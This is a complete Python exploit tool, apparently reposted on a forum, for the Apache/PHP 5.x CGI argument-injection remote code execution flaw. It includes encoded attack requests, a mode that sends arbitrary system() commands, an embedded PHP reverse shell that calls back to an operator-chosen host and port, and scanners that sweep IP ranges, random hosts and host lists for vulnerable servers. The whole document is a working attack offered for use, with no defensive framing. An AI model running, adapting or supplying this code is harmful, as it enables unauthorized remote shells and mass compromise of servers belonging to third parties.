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 PHP 5.x + FastCGI Remote Code Execution Vulnerability 
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#!/usr/bin/env python

#

# ap-unlock-v2.py - apache + PHP 5.x + FastCGI Remote Code Execution Vulnerability 0day (better version)

#

# NOTE:

#   - quick'n'dirty VERY UGLYY C=000DEEE IZ N0T MY STYLE :(((

#   - for connect back shell start netcat/nc and bind port on given host:port

#   - is ip-range scanner not is multithreaded, but iz multithreaded iz in

#   random scanner and is scanner from file (greets to MustLive)

#   - no ssl support

#   - more php paths can be added

#   - adjust this shit for windows b0xes

#

# 2013

# by noptrix - http://nullsecurity.net/



import sys

import socket

import argparse

import threading

import time

import random

import select





NONE = 0

VULN = 1

SCMD = 2

XPLT = 3



t3st = 'POST /cgi-bin/php/%63%67%69%6E/%70%68%70?%2D%64+%61%6C%75%6F%6E+%2D' \

        '%64+%6D%6F%64+%2D%64+%73%75%68%6F%6E%3D%6F%6E+%2D%64+%75%6E%63%74%73' \

        '%3D%22%22+%2D%64+%64%6E%65+%2D%64+%61%75%74%6F%5F%70%72%%74+%2D%64+' \

        '%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+'\

        '%74%5F%3D%30+%2D%64+%75%74+%2D%6E HTTP/1.1\r\nHost:localhost\r\n'\

        'Content-Type: text/html\r\nContent-Length:1\r\n\r\na\r\n'





def m4ke_c0nn_b4ck_sh1t(cb_h0st, cb_p0rt):

    c0nn_b4ck = \

    '''

    <? set_time_limit (0); $VERSION = "1.0"; $ip = "''' + cb_h0st + '''";

    $port = ''' + cb_p0rt + '''; $chunk_size = 1400; $write_a = null;

    $error_a = null; $shell = "unset HISTFILE; id; /bin/sh -i"; $daemon = 0;

    $debug = 0; if (function_exists("pcntl_fork")) {$pid = pcntl_fork();

    if ($pid == -1) {exit(1);}if ($pid) {exit(0);}if (posix_setsid() == -1) {

    exit(1);}$daemon = 1;} else {print "bla";}chdir("/");umask(0);

    $sock = fsockopen($ip, $port, $errno, $errstr, 30);if (!$sock) {

    printit("$errstr ($errno)");exit(1);}$descriptorspec = array(

    0 => array("pipe", "r"), 1 => array("pipe", "w"),2 => array("pipe", "w"));

    $process = proc_open($shell, $descriptorspec, $pipes);

    if (!is_resource($process)) {exit(1);}stream_set_blocking($pipes[1], 0);

    stream_set_blocking($pipes[2], 0);stream_set_blocking($sock, 0);

    printit("Successfully opened reverse shell to $ip:$port");while (1) {

    if (feof($sock)) {printit("ERROR: Shell connection terminated");break;}

    if (feof($pipes[1])) {printit("ERROR: Shell process terminated");break;}

    $read_a = array($sock, $pipes[1], $pipes[2]);

    $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

    if (in_array($sock, $read_a)) {if ($debug) printit("SOCK READ");

    $input = fread($sock, $chunk_size);if ($debug) printit("SOCK: $input");

    fwrite($pipes[0], $input);}if (in_array($pipes[1], $read_a)) {

    if ($debug) printit("STDOUT READ");$input = fread($pipes[1], $chunk_size);

    if ($debug) printit("STDOUT: $input");fwrite($sock, $input);}

    if (in_array($pipes[2], $read_a)) {if ($debug) printit("STDERR READ");

    $input = fread($pipes[2], $chunk_size);

    if ($debug) printit("STDERR: $input");fwrite($sock, $input);}}fclose($sock);

    fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($process);

    function printit ($string) {if (!$daemon) {print "$string\n";}}?>

    '''

    return c0nn_b4ck





def enc0dez():

    n33dz1 = ('cgi-bin', 'php')

    n33dz2 = ('-d', 'allow_url_include=on', '-d', 'safe_mode=off', '-d',

            'suhosin.simulation=on', '-d', 'disable_functions=""', '-d',

            'open_basedir=none', '-d', 'auto_prepend_file=php://input',

            '-d', 'cgi.force_redirect=0', '-d', 'cgi.redirect_status_env=0',

            '-d', 'auto_prepend_file=php://input', '-n')

    fl4g = 0

    arg5 = ''

    p4th = ''

    plus = ''

 

    for x in n33dz2:

        if fl4g == 1:

            plus = '+'

        arg5 = arg5 + plus + \

                ''.join('%' + c.encode('utf-8').encode('hex') for c in x)

        fl4g = 1

    for x in n33dz1:

        p4th = p4th + '/' + \

                ''.join('%' + c.encode('utf-8').encode('hex') for c in x)

    return (p4th.upper(), arg5.upper())





def m4k3_p4yl0rd(p4yl0rd, m0de):

    p4th, arg5 = enc0dez()

    if m0de == VULN:

        p4yl0rd = t3st

    elif m0de == SCMD or m0de == XPLT:

        p4yl0rd = 'POST /' + p4th + '?' + arg5 + ' HTTP/1.1\r\n' \

                'Host: ' + sys.argv[1] + '\r\n' \

                'Content-Type: application/x-www-form-urlencoded\r\n' \

                'Content-Length: ' + str(len(p4yl0rd)) + '\r\n\r\n' + p4yl0rd

    return p4yl0rd





def s3nd_sh1t(args, m0de, c0nn_b4ck):

    pat = '<b>Parse error</b>:'

    try:

        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

        s.settimeout(float(args.t))

        res = s.connect_ex((args.h, int(args.p)))

        if res == 0:

            if m0de == VULN:

                p4yl0rd = m4k3_p4yl0rd('', m0de)

                s.sendall(p4yl0rd)

                if pat in s.recv(4096):

                    print "--> " + args.h + " vu1n"

                    return args.h

                else:

                    if args.v:

                        print "--> %s n0t vu1n" % (args.h)

                    return

            elif m0de == SCMD:

                p4yl0rd = m4k3_p4yl0rd('<? system("' + args.c + '"); ?>', m0de)

                s.sendall(p4yl0rd)

                rd, wd, ex = select.select([s], [], [], float(args.t))

                if rd:

                    for line in s.makefile():

                        print line,

            elif m0de == XPLT:

                p4yl0rd = m4k3_p4yl0rd(c0nn_b4ck, m0de)

                s.sendall(p4yl0rd)

        else:

            if args.v:

                print "--> n0 w3bs3rv3r 0n %s" % (args.h)

    except socket.error:

        return

    return





def m4k3_r4nd_1p4ddr(num):

    h0sts = []

    for x in range(int(num)):

        h0sts.append('%d.%d.%d.%d' % (random.randrange(0,255),

                random.randrange(0,255), random.randrange(0,255),

                random.randrange(0,255)))

    return h0sts





def sc4n_r4nd0m(args, h0st, m0de, vu1nz):

    args.h = h0st

    vu1nz.append(s3nd_sh1t(args, m0de, None))

    vu1nz = filter(None, vu1nz)

    return





def sc4n_fr0m_f1le(args, h0st, m0de, vu1nz):

    args.h = h0st.rstrip()

    vu1nz.append(s3nd_sh1t(args, m0de, None))

    vu1nz = filter(None, vu1nz)

    return





def sc4n_r4ng3(rsa, rsb, args, m0de):

    vu1nz = []

    for i in range (rsa[0], rsb[0]):

        for j in range (rsa[1], rsb[1]):

            for k in range (rsa[2], rsb[2]):

                for l in range(rsa[3], rsb[3]):

                    args.h = str(i) + "." + str(j) + "." + str(k) + "." + str(l)

                    vu1nz.append(s3nd_sh1t(args, m0de, None))

                    time.sleep(0.005)

    vu1nz = filter(None, vu1nz)

    return vu1nz





def m4k3_ipv4_r4ng3(iprange):

    a = tuple(part for part in iprange.split('.'))

    rsa = (range(4))

    rsb = (range(4))

    for i in range(0,4):

        ga = a[i].find('-')

        if ga != -1:

            rsa[i] = int(a[i][:ga])

            rsb[i] = int(a[i][1+ga:]) + 1                                         

        else:

            rsa[i] = int(a[i])

            rsb[i] = int(a[i]) + 1

    return (rsa, rsb)





def parse_args():

    p = argparse.ArgumentParser(

    usage='\n\n  ./ap-unlock-v2.py -h <4rg> -s | -c <4rg> | -x <4rg> [0pt1ons]'\

            '\n  ./ap-unlock-v2.py -r <4rg> | -R <4rg> | -i <4rg> [0pt1ons]',

    formatter_class=argparse.RawDescriptionHelpFormatter, add_help=False)

    opts = p.add_argument_group('0pt1ons', '')

    opts.add_argument('-h', metavar='wh1t3h4tz.0rg',

            help='| t3st s1ngle h0st f0r vu1n')

    opts.add_argument('-p', default=80, metavar='80',

            help='| t4rg3t p0rt (d3fau1t: 80)')

    opts.add_argument('-c', metavar='\'uname -a;id\'',

            help='| s3nd c0mm4nds t0 h0st')

    opts.add_argument('-x', metavar='192.168.0.2:1337',

            help='| c0nn3ct b4ck h0st 4nd p0rt f0r sh3ll')

    opts.add_argument('-s', action='store_true',

            help='| t3st s1ngl3 h0st f0r vu1n')

    opts.add_argument('-r', metavar='133.1.3-7.7-37',

            help='| sc4nz iP addr3ss r4ng3 f0r vu1n')

    opts.add_argument('-R', metavar='1337',

            help='| sc4nz num r4nd0m h0st5 f0r vu1n')

    opts.add_argument('-t', default=3, metavar='3',

            help='| t1me0ut in s3x (d3fau1t: 3)')

    opts.add_argument('-f', metavar='vu1n.lst',

            help='| wr1t3 vu1n h0sts t0 f1l3')

    opts.add_argument('-i', metavar='sc4nz.lst',

            help='| sc4nz h0sts fr0m f1le f0r vu1n')

    opts.add_argument('-S', metavar='2',

            help='| sl33pz in s3x b3tw33n thr3adz (d3fault: 2)')

    opts.add_argument('-T', default=2, metavar='4',

            help='| nuM sc4n thr3adz (d3fault: 4)')

    opts.add_argument('-v', action='store_true',

            help='| pr1nt m0ah 1nf0z wh1l3 sh1tt1ng')

    args = p.parse_args()

    if not args.h and not args.r and not args.R and not args.i:

        p.print_help()

        sys.exit(0)

    return args





def wr1te_fil3(args, vu1nz):

    if args.f:

        if vu1nz:

            try:

                f = open(args.f, "w")

                f.write("\n".join(vu1nz)+"\n")

                f.close()

            except:

                sys.stderr.write('de1n3 mudd1 k0cht guT')

                sys.stderr.write('\n')

                raise SystemExit()

    return





def c0ntr0ller():

    vu1nz = []

    m0de = NONE

    try:

        args = parse_args()

        if not args.t:

            args.t = float(3)

        if args.h:

            if args.s:

                print "[+] sc4nn1ng s1ngl3 h0st %s " % (args.h)

                m0de = VULN

                s3nd_sh1t(args, m0de, None)

            elif args.c:

                print "[+] s3nd1ng c0mm4ndz t0 h0st %s " % (args.h)

                m0de = SCMD

                s3nd_sh1t(args, m0de, None)

            elif args.x:

                print "[+] xpl0it1ng b0x %s " % (args.h)

                m0de = XPLT

                if args.x.find(':') != -1:

                    if not args.x.split(':')[1]:

                        print "[-] 3rr0r: p0rt m1ss1ng"

                    else:

                        cb_h0st = args.x.split(':')[0]

                        cb_p0rt = args.x.split(':')[1]

                else:

                    print "[-] 3rr0r: <h0st>:<p0rt> y0u l4m3r"

                c0nn_b4ck = m4ke_c0nn_b4ck_sh1t(cb_h0st, cb_p0rt)

                s3nd_sh1t(args, m0de, c0nn_b4ck)

            else:

                print "[-] 3rr0r: m1ss1ng -s, -c 0r -x b1tch"

                sys.exit(-1)

        if args.r:

            print "[+] sc4nn1ng r4ng3 %s " % (args.r)

            m0de = VULN

            rsa, rsb = m4k3_ipv4_r4ng3(args.r)

            vu1nz = sc4n_r4ng3(rsa, rsb, args, m0de)

        if args.R:

            print "[+] sc4nn1ng %d r4nd0m b0xes" % (int(args.R))

            m0de = VULN

            if not args.S:

                args.S = float(2)

            h0sts = m4k3_r4nd_1p4ddr(int(args.R))

            for h0st in h0sts:

                try:

                    t = threading.Thread(target=sc4n_r4nd0m, args=(args, h0st,

                        m0de, vu1nz))

                    t.start()

                    time.sleep(float(args.S))

                    while threading.activeCount() > int(args.T):

                        time.sleep(2)

                except:

                    sys.stdout.flush()

                    sys.stdout.write("\b\b[!] w4rn1ng: ab0rt3d bY us3r\n")

                    raise SystemExit

        if args.i:

            print "[+] sc4nn1ng b0xes fr0m f1le %s" % (args.i)

            m0de = VULN

            h0sts = tuple(open(args.i, 'r'))

            if not args.S:

                args.S = float(2)

            for h0st in h0sts:

                try:

                    t = threading.Thread(target=sc4n_fr0m_f1le, args=(args,

                        h0st, m0de, vu1nz))

                    t.start()

                    time.sleep(float(args.S))

                    while threading.activeCount() > int(args.T):

                        time.sleep(2)

                except KeyboardInterrupt:

                    sys.stdout.flush()

                    sys.stdout.write("\b\b[!] w4rn1ng: ab0rt3d bY us3r\n")

                    raise SystemExit

            #sc4n_fr0m_f1le(args, h0sts, m0de, vu1nz)

    except KeyboardInterrupt:

        sys.stdout.flush()

        sys.stderr.write("\b\b[!] w4rn1ng: ab0rt3d bY us3r\n")

        raise SystemExit

    wr1te_fil3(args, vu1nz)



    return





def m41n():

    if  __name__ == "__main__":

        print "--==[ ap-unlock-v2.py by noptrix@nullsecurity.net ]==--"

        c0ntr0ller()

    else:

        print "[-] 3rr0r: y0u fuck3d up dud3"

        sys.exit(1)

    print "[+] h0p3 1t h3lp3d"





# \o/ fr33 requiem 1337 h4x0rs ... 

m41n()



# e0F


Sun Jul 24, 2016 11:59 am
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